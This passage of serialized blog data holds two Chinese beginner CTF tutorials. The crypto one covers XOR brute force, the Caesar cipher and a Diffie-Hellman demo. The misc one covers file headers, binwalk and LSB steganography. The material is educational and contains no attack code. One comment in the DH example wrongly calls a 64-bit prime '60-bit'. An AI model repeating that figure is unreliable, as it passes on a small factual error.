找到即停止，避免继续打印无意义结果。\n",[26,3679,3680,3685,3690,3694,3699,3704,3709,3714,3719,3724,3729,3734,3739,3743],{"__ignoreMap":24},[29,3681,3682],{"class":31,"line":32},[29,3683,3684],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[29,3686,3687],{"class":31,"line":38},[29,3688,3689],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[29,3691,3692],{"class":31,"line":45},[29,3693,42],{"emptyLinePlaceholder":41},[29,3695,3696],{"class":31,"line":51},[29,3697,3698],{},"for k in range(256):\n",[29,3700,3701],{"class":31,"line":56},[29,3702,3703],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[29,3705,3706],{"class":31,"line":62},[29,3707,3708],{},"    plain = bytes([b ^ k for b in cipher])\n",[29,3710,3711],{"class":31,"line":68},[29,3712,3713],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[29,3715,3716],{"class":31,"line":74},[29,3717,3718],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[29,3720,3721],{"class":31,"line":179},[29,3722,3723],{},"    if b\"flag{\" in plain:\n",[29,3725,3726],{"class":31,"line":185},[29,3727,3728],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[29,3730,3731],{"class":31,"line":190},[29,3732,3733],{},"        print(\"key =\", k)           # 输出密钥数值\n",[29,3735,3736],{"class":31,"line":677},[29,3737,3738],{},"        print(plain.decode())       # 输出解密出的明文\n",[29,3740,3741],{"class":31,"line":683},[29,3742,698],{},[29,3744,3745],{"class":31,"line":689},[29,3746,3747],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,3749,3503],{},[19,3751,3754],{"className":3752,"code":3753,"language":477,"meta":24},[475],"key = 66\nflag{xor_is_easy}\n",[26,3755,3753],{"__ignoreMap":24},[15,3757,3758,3759,3761],{},"判断依据：明文包含 ",[26,3760,3669],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[235,3763,3765],{"id":3764},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,3767,3768,3769,137],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[26,3770,3771],{},"xortool",[19,3773,3775],{"className":113,"code":3774,"language":115,"meta":24,"style":24},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[26,3776,3777,3786],{"__ignoreMap":24},[29,3778,3779,3781,3783],{"class":31,"line":32},[29,3780,123],{"class":122},[29,3782,127],{"class":126},[29,3784,3785],{"class":126}," xortool\n",[29,3787,3788,3790,3793,3796,3799],{"class":31,"line":38},[29,3789,3771],{"class":122},[29,3791,3792],{"class":815}," -x",[29,3794,3795],{"class":815}," -c",[29,3797,3798],{"class":815}," 20",[29,3800,3801],{"class":126}," cipher.bin\n",[10,3803,3805],{"id":3804},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,3807,3808],{},"每个字母平移固定位数：",[19,3810,3812],{"className":21,"code":3811,"language":23,"meta":24,"style":24},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[26,3813,3814,3819,3824,3829,3834,3839,3844,3849,3854,3859,3863,3868],{"__ignoreMap":24},[29,3815,3816],{"class":31,"line":32},[29,3817,3818],{},"def caesar(s, shift):\n",[29,3820,3821],{"class":31,"line":38},[29,3822,3823],{},"    out = \"\"\n",[29,3825,3826],{"class":31,"line":45},[29,3827,3828],{},"    for c in s:\n",[29,3830,3831],{"class":31,"line":51},[29,3832,3833],{},"        if c.isalpha():\n",[29,3835,3836],{"class":31,"line":56},[29,3837,3838],{},"            base = ord('a') if c.islower() else ord('A')\n",[29,3840,3841],{"class":31,"line":62},[29,3842,3843],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[29,3845,3846],{"class":31,"line":68},[29,3847,3848],{},"        else:\n",[29,3850,3851],{"class":31,"line":74},[29,3852,3853],{},"            out += c\n",[29,3855,3856],{"class":31,"line":179},[29,3857,3858],{},"    return out\n",[29,3860,3861],{"class":31,"line":185},[29,3862,42],{"emptyLinePlaceholder":41},[29,3864,3865],{"class":31,"line":190},[29,3866,3867],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[29,3869,3870],{"class":31,"line":677},[29,3871,3872],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,3874,3503],{},[19,3876,3879],{"className":3877,"code":3878,"language":477,"meta":24},[475],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[26,3880,3878],{"__ignoreMap":24},[10,3882,3884],{"id":3883},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[235,3886,3888],{"id":3887},"_51-要解决的问题","5.1 要解决的问题",[15,3890,3891],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[235,3893,3895],{"id":3894},"_52-流程","5.2 流程",[15,3897,3898,3900],{},[216,3899,218],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,3902,3903,3905],{},[216,3904,224],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[1883,3907,3908,3916,3925,3933],{},[1886,3909,3910,3911,3913,3914,458],{},"双方公开约定大素数 ",[26,3912,15],{}," 与生成元 ",[26,3915,1189],{},[1886,3917,3918,3919,3921,3922,458],{},"Alice 选私钥 ",[26,3920,3571],{},"，发送 ",[26,3923,3924],{},"A = g^a mod p",[1886,3926,3927,3928,3921,3930,458],{},"Bob 选私钥 ",[26,3929,2089],{},[26,3931,3932],{},"B = g^b mod p",[1886,3934,3935,3936,3939,3940,3943,3944,458],{},"双方分别计算 ",[26,3937,3938],{},"B^a mod p"," 与 ",[26,3941,3942],{},"A^b mod p","，得到相同值 ",[26,3945,3946],{},"g^(ab) mod p",[235,3948,3950],{"id":3949},"_53-最小实现","5.3 最小实现",[19,3952,3954],{"className":21,"code":3953,"language":23,"meta":24,"style":24},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[26,3955,3956,3961,3966,3971,3976,3981,3985,3990,3995,4000,4005,4010,4014,4019,4024,4029,4034,4039,4043,4048,4054,4060,4066,4072],{"__ignoreMap":24},[29,3957,3958],{"class":31,"line":32},[29,3959,3960],{},"p, g = 0xffffffffffffffc5, 2\n",[29,3962,3963],{"class":31,"line":38},[29,3964,3965],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[29,3967,3968],{"class":31,"line":45},[29,3969,3970],{},"# g：生成元，双方公开约定。\n",[29,3972,3973],{"class":31,"line":51},[29,3974,3975],{},"a, b = 1234567, 7654321\n",[29,3977,3978],{"class":31,"line":56},[29,3979,3980],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[29,3982,3983],{"class":31,"line":62},[29,3984,42],{"emptyLinePlaceholder":41},[29,3986,3987],{"class":31,"line":68},[29,3988,3989],{},"A = pow(g, a, p)\n",[29,3991,3992],{"class":31,"line":74},[29,3993,3994],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[29,3996,3997],{"class":31,"line":179},[29,3998,3999],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[29,4001,4002],{"class":31,"line":185},[29,4003,4004],{},"B = pow(g, b, p)\n",[29,4006,4007],{"class":31,"line":190},[29,4008,4009],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[29,4011,4012],{"class":31,"line":677},[29,4013,42],{"emptyLinePlaceholder":41},[29,4015,4016],{"class":31,"line":683},[29,4017,4018],{},"s_alice = pow(B, a, p)\n",[29,4020,4021],{"class":31,"line":689},[29,4022,4023],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[29,4025,4026],{"class":31,"line":695},[29,4027,4028],{},"s_bob = pow(A, b, p)\n",[29,4030,4031],{"class":31,"line":2596},[29,4032,4033],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[29,4035,4036],{"class":31,"line":2602},[29,4037,4038],{},"# 两个结果相等，这就是共享密钥。\n",[29,4040,4041],{"class":31,"line":2608},[29,4042,42],{"emptyLinePlaceholder":41},[29,4044,4045],{"class":31,"line":2614},[29,4046,4047],{},"print(\"A =\", A)\n",[29,4049,4051],{"class":31,"line":4050},20,[29,4052,4053],{},"print(\"B =\", B)\n",[29,4055,4057],{"class":31,"line":4056},21,[29,4058,4059],{},"print(\"Alice 计算:\", s_alice)\n",[29,4061,4063],{"class":31,"line":4062},22,[29,4064,4065],{},"print(\"Bob 计算:\", s_bob)\n",[29,4067,4069],{"class":31,"line":4068},23,[29,4070,4071],{},"print(\"一致:\", s_alice == s_bob)\n",[29,4073,4075],{"class":31,"line":4074},24,[29,4076,4077],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,4079,3503],{},[19,4081,4084],{"className":4082,"code":4083,"language":477,"meta":24},[475],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[26,4085,4083],{"__ignoreMap":24},[15,4087,4088,4089,4092,4093,4095],{},"窃听者只能看到 ",[26,4090,4091],{},"p, g, A, B","，要算出 ",[26,4094,3571],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,4097,783],{"id":782},[235,4099,4101],{"id":4100},"工具-1cyberchef","工具 1：CyberChef",[15,4103,4104],{},"浏览器工具，三个常用操作：",[342,4106,4107,4117],{},[345,4108,4109],{},[348,4110,4111,4114],{},[351,4112,4113],{},"操作",[351,4115,4116],{},"用法",[361,4118,4119,4127,4135],{},[348,4120,4121,4124],{},[366,4122,4123],{},"From Base64",[366,4125,4126],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[348,4128,4129,4132],{},[366,4130,4131],{},"From Hex",[366,4133,4134],{},"拖入 From Hex 解码十六进制",[348,4136,4137,4140],{},[366,4138,4139],{},"Magic",[366,4141,4142],{},"直接粘贴未知文本，自动猜测编码方式",[235,4144,4146],{"id":4145},"工具-2python-标准库","工具 2：Python 标准库",[19,4148,4150],{"className":21,"code":4149,"language":23,"meta":24,"style":24},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[26,4151,4152,4157,4161,4166,4171],{"__ignoreMap":24},[29,4153,4154],{"class":31,"line":32},[29,4155,4156],{},"import base64, binascii\n",[29,4158,4159],{"class":31,"line":38},[29,4160,42],{"emptyLinePlaceholder":41},[29,4162,4163],{"class":31,"line":45},[29,4164,4165],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[29,4167,4168],{"class":31,"line":51},[29,4169,4170],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[29,4172,4173],{"class":31,"line":56},[29,4174,4175],{},"print(ord('A'))                       # 65，ASCII 编码\n",[235,4177,4179],{"id":4178},"工具-3pycryptodome","工具 3：pycryptodome",[15,4181,4182],{},"CTF 密码学最常用的库，三个函数：",[19,4184,4186],{"className":21,"code":4185,"language":23,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[26,4187,4188,4193,4197,4202,4207],{"__ignoreMap":24},[29,4189,4190],{"class":31,"line":32},[29,4191,4192],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[29,4194,4195],{"class":31,"line":38},[29,4196,42],{"emptyLinePlaceholder":41},[29,4198,4199],{"class":31,"line":45},[29,4200,4201],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[29,4203,4204],{"class":31,"line":51},[29,4205,4206],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[29,4208,4209],{"class":31,"line":56},[29,4210,4211],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,4213,3503],{},[19,4215,4218],{"className":4216,"code":4217,"language":477,"meta":24},[475],"5\nb'flag'\n1718378855\n",[26,4219,4217],{"__ignoreMap":24},[10,4221,4223],{"id":4222},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,4225,4226],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[19,4228,4230],{"className":4229,"code":3650,"language":477,"meta":24},[475],[26,4231,3650],{"__ignoreMap":24},[15,4233,4234],{},"解题脚本：",[15,4236,4237,4239,4240,4242],{},[216,4238,224],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[26,4241,3669],{}," 前缀过滤正确结果。",[19,4244,4246],{"className":21,"code":4245,"language":23,"meta":24,"style":24},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[26,4247,4248,4253,4258,4262,4267,4271,4275,4279,4284,4288,4293,4298],{"__ignoreMap":24},[29,4249,4250],{"class":31,"line":32},[29,4251,4252],{},"from binascii import unhexlify\n",[29,4254,4255],{"class":31,"line":38},[29,4256,4257],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[29,4259,4260],{"class":31,"line":45},[29,4261,42],{"emptyLinePlaceholder":41},[29,4263,4264],{"class":31,"line":51},[29,4265,4266],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[29,4268,4269],{"class":31,"line":56},[29,4270,42],{"emptyLinePlaceholder":41},[29,4272,4273],{"class":31,"line":62},[29,4274,3698],{},[29,4276,4277],{"class":31,"line":68},[29,4278,3708],{},[29,4280,4281],{"class":31,"line":74},[29,4282,4283],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[29,4285,4286],{"class":31,"line":179},[29,4287,3723],{},[29,4289,4290],{"class":31,"line":185},[29,4291,4292],{},"        print(\"key =\", k)          # 预期 66\n",[29,4294,4295],{"class":31,"line":190},[29,4296,4297],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[29,4299,4300],{"class":31,"line":677},[29,4301,698],{},[15,4303,3503],{},[19,4305,4307],{"className":4306,"code":3753,"language":477,"meta":24},[475],[26,4308,3753],{"__ignoreMap":24},[10,4310,1097],{"id":1096},[15,4312,4313],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1116,4315,4316],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":24,"searchDepth":38,"depth":38,"links":4318},[4319,4320,4321,4322,4323,4324,4325,4326],{"id":3340,"depth":45,"text":3341},{"id":1211,"depth":45,"text":1212},{"id":3579,"depth":45,"text":3580},{"id":3804,"depth":45,"text":3805},{"id":3883,"depth":45,"text":3884},{"id":782,"depth":45,"text":783},{"id":4222,"depth":45,"text":4223},{"id":1096,"depth":45,"text":1097},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1132,"image":4329,"alt":4330,"tags":4331,"published":41},"/blogs-img/blog3.png","CTF 密码学入门",[1136,4332,1139],"crypto","/blogs/ctf-crypto-overview",{"title":3335,"description":4327},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":4338,"title":4339,"body":4340,"description":5294,"extension":1130,"meta":5295,"navigation":41,"ogImage":5296,"path":5300,"seo":5301,"stem":5302,"__hash__":5303},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":4341,"toc":5284},[4342,4346,4356,4359,4419,4421,4454,4458,4462,4467,4472,4484,4486,4492,4499,4522,4526,4531,4554,4556,4562,4572,4576,4581,4592,4613,4616,4620,4623,4636,4638,4644,4647,4661,4668,4675,4686,4690,4694,4697,4703,4706,4710,4715,4918,4932,4936,4941,4946,5076,5078,5084,5088,5113,5119,5121,5192,5196,5201,5204,5215,5220,5223,5241,5244,5247,5257,5260,5263,5268,5270,5281],[10,4343,4345],{"id":4344},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,4347,4348,4349,4352,4353,458],{},"操作系统按扩展名选择打开程序（",[26,4350,4351],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[216,4354,4355],{},"先看文件头，再信扩展名",[15,4357,4358],{},"必须记住的三个文件头：",[342,4360,4361,4374],{},[345,4362,4363],{},[348,4364,4365,4368,4371],{},[351,4366,4367],{},"文件",[351,4369,4370],{},"文件头（hex）",[351,4372,4373],{},"明文",[361,4375,4376,4391,4404],{},[348,4377,4378,4381,4386],{},[366,4379,4380],{},"PNG",[366,4382,4383],{},[26,4384,4385],{},"89 50 4E 47 0D 0A 1A 0A",[366,4387,4388],{},[26,4389,4390],{},"‰PNG",[348,4392,4393,4396,4401],{},[366,4394,4395],{},"JPEG",[366,4397,4398],{},[26,4399,4400],{},"FF D8 FF",[366,4402,4403],{},"—",[348,4405,4406,4409,4414],{},[366,4407,4408],{},"ZIP",[366,4410,4411],{},[26,4412,4413],{},"50 4B 03 04",[366,4415,4416],{},[26,4417,4418],{},"PK",[10,4420,1212],{"id":1211},[19,4422,4424],{"className":113,"code":4423,"language":115,"meta":24,"style":24},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[26,4425,4426,4445],{"__ignoreMap":24},[29,4427,4428,4430,4432,4434,4436,4439,4442],{"class":31,"line":32},[29,4429,1225],{"class":122},[29,4431,127],{"class":126},[29,4433,1230],{"class":126},[29,4435,1233],{"class":126},[29,4437,4438],{"class":126}," binwalk",[29,4440,4441],{"class":126}," foremost",[29,4443,4444],{"class":126}," exiftool\n",[29,4446,4447,4449,4451],{"class":31,"line":38},[29,4448,2503],{"class":122},[29,4450,127],{"class":126},[29,4452,4453],{"class":126}," pillow\n",[10,4455,4457],{"id":4456},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[235,4459,4461],{"id":4460},"_31-file看真实类型","3.1 file：看真实类型",[15,4463,4464,4466],{},[216,4465,218],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,4468,4469,4471],{},[216,4470,1745],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[19,4473,4475],{"className":113,"code":4474,"language":115,"meta":24,"style":24},"file hidden.png\n",[26,4476,4477],{"__ignoreMap":24},[29,4478,4479,4481],{"class":31,"line":32},[29,4480,1280],{"class":122},[29,4482,4483],{"class":126}," hidden.png\n",[15,4485,3503],{},[19,4487,4490],{"className":4488,"code":4489,"language":477,"meta":24},[475],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[26,4491,4489],{"__ignoreMap":24},[15,4493,4494,4495,4498],{},"如果输出是 ",[26,4496,4497],{},"Zip archive data","，说明文件其实是 zip：",[19,4500,4502],{"className":113,"code":4501,"language":115,"meta":24,"style":24},"mv flag.png flag.zip && unzip flag.zip\n",[26,4503,4504],{"__ignoreMap":24},[29,4505,4506,4509,4512,4515,4517,4519],{"class":31,"line":32},[29,4507,4508],{"class":122},"mv",[29,4510,4511],{"class":126}," flag.png",[29,4513,4514],{"class":126}," flag.zip",[29,4516,924],{"class":273},[29,4518,1855],{"class":122},[29,4520,4521],{"class":126}," flag.zip\n",[235,4523,4525],{"id":4524},"_32-xxd看文件头","3.2 xxd：看文件头",[15,4527,4528,4530],{},[216,4529,218],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[19,4532,4534],{"className":113,"code":4533,"language":115,"meta":24,"style":24},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[26,4535,4536,4549],{"__ignoreMap":24},[29,4537,4538,4541,4544,4547],{"class":31,"line":32},[29,4539,4540],{"class":122},"xxd",[29,4542,4543],{"class":815}," -l",[29,4545,4546],{"class":815}," 16",[29,4548,4483],{"class":126},[29,4550,4551],{"class":31,"line":38},[29,4552,4553],{"class":807},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,4555,3503],{},[19,4557,4560],{"className":4558,"code":4559,"language":477,"meta":24},[475],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[26,4561,4559],{"__ignoreMap":24},[15,4563,4564,4565,4568,4569,458],{},"开头的 ",[26,4566,4567],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[26,4570,4571],{},".PNG",[235,4573,4575],{"id":4574},"_33-strings搜字符串","3.3 strings：搜字符串",[15,4577,4578,4580],{},[216,4579,218],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,4582,4583,137,4585,4587,4588,4591],{},[216,4584,224],{},[26,4586,1323],{}," 把可打印字符串抽出来，",[26,4589,4590],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[19,4593,4595],{"className":113,"code":4594,"language":115,"meta":24,"style":24},"strings flag.png | grep -i flag\n",[26,4596,4597],{"__ignoreMap":24},[29,4598,4599,4601,4603,4605,4607,4610],{"class":31,"line":32},[29,4600,1323],{"class":122},[29,4602,4511],{"class":126},[29,4604,1511],{"class":277},[29,4606,1514],{"class":122},[29,4608,4609],{"class":815}," -i",[29,4611,4612],{"class":126}," flag\n",[15,4614,4615],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,4617,4619],{"id":4618},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,4621,4622],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[19,4624,4626],{"className":113,"code":4625,"language":115,"meta":24,"style":24},"binwalk flag.png\n",[26,4627,4628],{"__ignoreMap":24},[29,4629,4630,4633],{"class":31,"line":32},[29,4631,4632],{"class":122},"binwalk",[29,4634,4635],{"class":126}," flag.png\n",[15,4637,261],{},[19,4639,4642],{"className":4640,"code":4641,"language":477,"meta":24},[475],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[26,4643,4641],{"__ignoreMap":24},[15,4645,4646],{},"提取：",[19,4648,4650],{"className":113,"code":4649,"language":115,"meta":24,"style":24},"binwalk -e flag.png\n",[26,4651,4652],{"__ignoreMap":24},[29,4653,4654,4656,4659],{"class":31,"line":32},[29,4655,4632],{"class":122},[29,4657,4658],{"class":815}," -e",[29,4660,4635],{"class":126},[15,4662,4663,4664,4667],{},"会在当前目录生成 ",[26,4665,4666],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,4669,4670,4671,4674],{},"备选工具 ",[26,4672,4673],{},"foremost","（按文件头暴力切割）：",[19,4676,4678],{"className":113,"code":4677,"language":115,"meta":24,"style":24},"foremost flag.png\n",[26,4679,4680],{"__ignoreMap":24},[29,4681,4682,4684],{"class":31,"line":32},[29,4683,4673],{"class":122},[29,4685,4635],{"class":126},[10,4687,4689],{"id":4688},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[235,4691,4693],{"id":4692},"_51-原理","5.1 原理",[15,4695,4696],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[19,4698,4701],{"className":4699,"code":4700,"language":477,"meta":24},[475],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[26,4702,4700],{"__ignoreMap":24},[15,4704,4705],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[235,4707,4709],{"id":4708},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,4711,4712,4714],{},[216,4713,218],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[19,4716,4718],{"className":21,"code":4717,"language":23,"meta":24,"style":24},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[26,4719,4720,4725,4730,4734,4739,4744,4749,4754,4758,4763,4768,4773,4778,4783,4788,4793,4798,4802,4807,4812,4817,4822,4827,4832,4837,4842,4848,4854,4859,4865,4871,4877,4883,4888,4894,4900,4906,4912],{"__ignoreMap":24},[29,4721,4722],{"class":31,"line":32},[29,4723,4724],{},"from PIL import Image\n",[29,4726,4727],{"class":31,"line":38},[29,4728,4729],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[29,4731,4732],{"class":31,"line":45},[29,4733,42],{"emptyLinePlaceholder":41},[29,4735,4736],{"class":31,"line":51},[29,4737,4738],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[29,4740,4741],{"class":31,"line":56},[29,4742,4743],{},"# Image.new(mode, size, color)：新建一张图片。\n",[29,4745,4746],{"class":31,"line":62},[29,4747,4748],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[29,4750,4751],{"class":31,"line":68},[29,4752,4753],{},"message = \"flag{lsb_steganography}\"\n",[29,4755,4756],{"class":31,"line":74},[29,4757,42],{"emptyLinePlaceholder":41},[29,4759,4760],{"class":31,"line":179},[29,4761,4762],{},"data = message.encode() + b'\\x00'\n",[29,4764,4765],{"class":31,"line":185},[29,4766,4767],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[29,4769,4770],{"class":31,"line":190},[29,4771,4772],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[29,4774,4775],{"class":31,"line":677},[29,4776,4777],{},"bits = ''.join(f'{b:08b}' for b in 